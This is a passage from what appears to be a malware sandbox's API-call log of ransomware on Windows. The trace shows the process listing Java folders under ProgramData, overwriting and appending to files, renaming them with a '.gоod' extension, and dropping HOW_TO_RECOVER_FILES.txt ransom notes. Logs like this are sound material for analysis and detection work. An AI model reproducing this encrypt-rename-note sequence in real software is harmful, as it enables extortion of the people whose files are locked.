hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.533] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0110.534] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 0 [0110.534] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0110.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0110.534] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faecf70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0110.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed490) returned 1 [0110.534] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0110.536] GetFileType (hFile=0x6e8) returned 0x1 [0110.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed400) returned 1 [0110.536] GetFileType (hFile=0x6e8) returned 0x1 [0110.536] WriteFile (in: hFile=0x6e8, lpBuffer=0x36d1e00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faed558, lpOverlapped=0x0 | out: lpBuffer=0x36d1e00*, lpNumberOfBytesWritten=0x1faed558*=0x5d0, lpOverlapped=0x0) returned 1 [0110.537] CloseHandle (hObject=0x6e8) returned 1 [0110.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0110.537] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2b [0110.538] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0110.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.538] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0110.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0110.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0110.538] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2b [0110.539] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0110.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 0 [0110.539] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0110.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0110.539] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", lpFilePart=0x0) returned 0x39 [0110.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed2d0) returned 1 [0110.539] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), fInfoLevelId=0x0, lpFileInformation=0x36e0d28 | out: lpFileInformation=0x36e0d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475)) returned 1 [0110.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed290) returned 1 [0110.540] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", lpFilePart=0x0) returned 0x39 [0110.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0110.540] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0110.540] GetFileType (hFile=0x6e8) returned 0x1 [0110.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0110.540] GetFileType (hFile=0x6e8) returned 0x1 [0110.540] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x1000 [0110.540] ReadFile (in: hFile=0x6e8, lpBuffer=0x36e1110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2f8, lpOverlapped=0x0 | out: lpBuffer=0x36e1110*, lpNumberOfBytesRead=0x1faed2f8*=0x1000, lpOverlapped=0x0) returned 1 [0110.543] CloseHandle (hObject=0x6e8) returned 1 [0110.543] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", lpFilePart=0x0) returned 0x39 [0110.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0110.543] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0110.544] GetFileType (hFile=0x6e8) returned 0x1 [0110.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0110.544] GetFileType (hFile=0x6e8) returned 0x1 [0110.544] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x4eba475 [0110.544] WriteFile (in: hFile=0x6e8, lpBuffer=0x36e4650*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faed218, lpOverlapped=0x0 | out: lpBuffer=0x36e4650*, lpNumberOfBytesWritten=0x1faed218*=0x10, lpOverlapped=0x0) returned 1 [0110.617] CloseHandle (hObject=0x6e8) returned 1 [0110.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", lpFilePart=0x0) returned 0x39 [0110.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0110.617] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0110.617] GetFileType (hFile=0x6e8) returned 0x1 [0110.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0110.617] GetFileType (hFile=0x6e8) returned 0x1 [0110.617] ReadFile (in: hFile=0x6e8, lpBuffer=0x37708d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2a8, lpOverlapped=0x0 | out: lpBuffer=0x37708d0*, lpNumberOfBytesRead=0x1faed2a8*=0x1000, lpOverlapped=0x0) returned 1 [0110.644] CloseHandle (hObject=0x6e8) returned 1 [0110.645] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", lpFilePart=0x0) returned 0x39 [0110.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0110.645] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0110.645] GetFileType (hFile=0x6e8) returned 0x1 [0110.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0110.645] GetFileType (hFile=0x6e8) returned 0x1 [0110.645] WriteFile (in: hFile=0x6e8, lpBuffer=0x376f640*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faed358, lpOverlapped=0x0 | out: lpBuffer=0x376f640*, lpNumberOfBytesWritten=0x1faed358*=0x1010, lpOverlapped=0x0) returned 1 [0110.645] CloseHandle (hObject=0x6e8) returned 1 [0110.645] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", lpFilePart=0x0) returned 0x39 [0110.645] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8.gоod", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8.gоod", lpFilePart=0x0) returned 0x3e [0110.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed290) returned 1 [0110.645] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), fInfoLevelId=0x0, lpFileInformation=0x1faed370 | out: lpFileInformation=0x1faed370*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4eba485)) returned 1 [0110.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed250) returned 1 [0110.645] MoveFileW (lpExistingFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), lpNewFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8.gоod" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8.gоod")) returned 1 [0110.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faecf70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0110.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed490) returned 1 [0110.646] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0110.647] GetFileType (hFile=0x6e8) returned 0x1 [0110.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed400) returned 1 [0110.647] GetFileType (hFile=0x6e8) returned 0x1 [0110.647] WriteFile (in: hFile=0x6e8, lpBuffer=0x37ef030*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faed558, lpOverlapped=0x0 | out: lpBuffer=0x37ef030*, lpNumberOfBytesWritten=0x1faed558*=0x5d0, lpOverlapped=0x0) returned 1 [0110.987] CloseHandle (hObject=0x6e8) returned 1 [0110.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0110.987] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0110.987] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.991] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.022] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0111.023] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0111.023] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0111.023] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0111.023] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0111.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0111.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0111.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0111.023] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.023] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0111.023] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.024] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0111.024] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0111.024] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0111.024] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0 [0111.024] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0111.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0111.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0111.024] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", lpFilePart=0x0) returned 0x2c [0111.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed2d0) returned 1 [0111.024] GetFileAttributesExW (in: 